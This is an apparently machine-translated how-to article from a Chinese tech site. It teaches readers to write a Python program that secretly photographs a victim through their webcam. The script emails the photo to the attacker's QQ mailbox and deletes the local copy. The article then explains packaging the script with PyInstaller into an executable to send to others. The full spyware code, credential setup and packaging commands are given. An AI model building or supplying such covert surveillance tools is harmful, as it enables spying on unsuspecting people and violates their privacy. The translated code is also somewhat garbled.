Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to use Python to write a software to steal camera photos

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Internet Technology >

Share

Shulou(Shulou.com)06/02 Report--

In this issue, the editor will bring you about how to use Python to write a software to steal camera photos. The article is rich in content and analyzes and narrates it from a professional point of view. I hope you can get something after reading this article.

Teach you to use python to make your own software to steal camera photos.

You need to install the above version of python3.5, which can be downloaded from the official website.

Then install the library opencv-python, which is installed by opening the terminal and entering the command line.

You can add the parameter-I https://pypi.tuna.tsinghua.edu.cn/simple when using pip, so that the required libraries will be installed from the image on this side of Tsinghua University, which will be much faster.

Pip install opencv-python-I https://pypi.tuna.tsinghua.edu.cn/simple/

The specific code and the corresponding comments are as follows, you just need to change the recipient and sender to your own mailbox, change the authorization code, and then compile it into an executable file, that is, package .py into .exe, so you can send it to others.

Import os # Delete picture file import cv2 # call camera to take photos from smtplib import SMTP_SSL # SSL encrypted transport protocol from email.mime.text import MIMEText # build email text from email.mime.multipart import MIMEMultipart # Build email body from email.header import Header # send content

# call the camera to take photos def get_photo (): cap = cv2.VideoCapture (0) # enable the camera f, frame = cap.read () # save a frame of image data in the camera cv2.imwrite ('image.jpg', frame) # Save the picture as a local file cap.release () # turn off the camera

# send the picture file to my email def send_message (): # Select QQ Mail to send photos host_server = 'smtp.qq.com' # QQ Mail smtp server pwd =' *'# authorization code from_qq_mail = 'QQ@qq.com' # sender To_qq_mail = 'QQ@qq.com' # recipient msg = MIMEMultipart () # create a message with an attachment

Msg ['Subject'] = Header (' camera photo', 'UTF-8') # message subject msg [' From'] = from_qq_mail # Sender msg ['To'] = Header ("YH",' UTF-8') # recipient msg.attach ("photo", 'html') 'UTF-8')) # add email text message

# load attachments to mailbox SSL encryption image = MIMEText (open ('image.jpg',' rb'). Read (), 'base64',' utf-8') image ["Content-Type"] = 'image/jpeg' # attachment format is encrypted data msg.attach (image) for pictures # add attachments

# start sending email smtp = SMTP_SSL (host_server) # Link server smtp .login (from_qq_mail, pwd) # Login mailbox smtp.sendmail (from_qq_mail, to_qq_mail, msg.as_string ()) # send mailbox smtp.quit () # exit

If _ _ name__ = ='_ _ main__': get_photo () # enable camera to get photos send_message () # send photos os.remove ('image.jpg') # Delete local photos

To obtain the authorization code, you can get the 16-digit authorization code by setting up-> account-> enabling pop3/smtp service-> verifying secret protection.

Packaging method:

1. Install pyinstaller first and enter pip install pyinstaller in the terminal.

two。 Find the path, using the cd method to find the path is more troublesome, here recommend a simple method, directly enter cmd in the path box to enter the terminal, enter the target path.

3. Packaging, entering the command line

Pyinstaller-- console-- onefile 7.py / / what is packed here is a file called 7.py.

The executable file can be found in the dist folder.

At the end of the experiment, you will get an attachment with the bin suffix, which can be viewed by changing it to jpg.

This is how the editor shared how to use Python to write a software to steal camera photos. If you happen to have similar doubts, you might as well refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Internet Technology

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report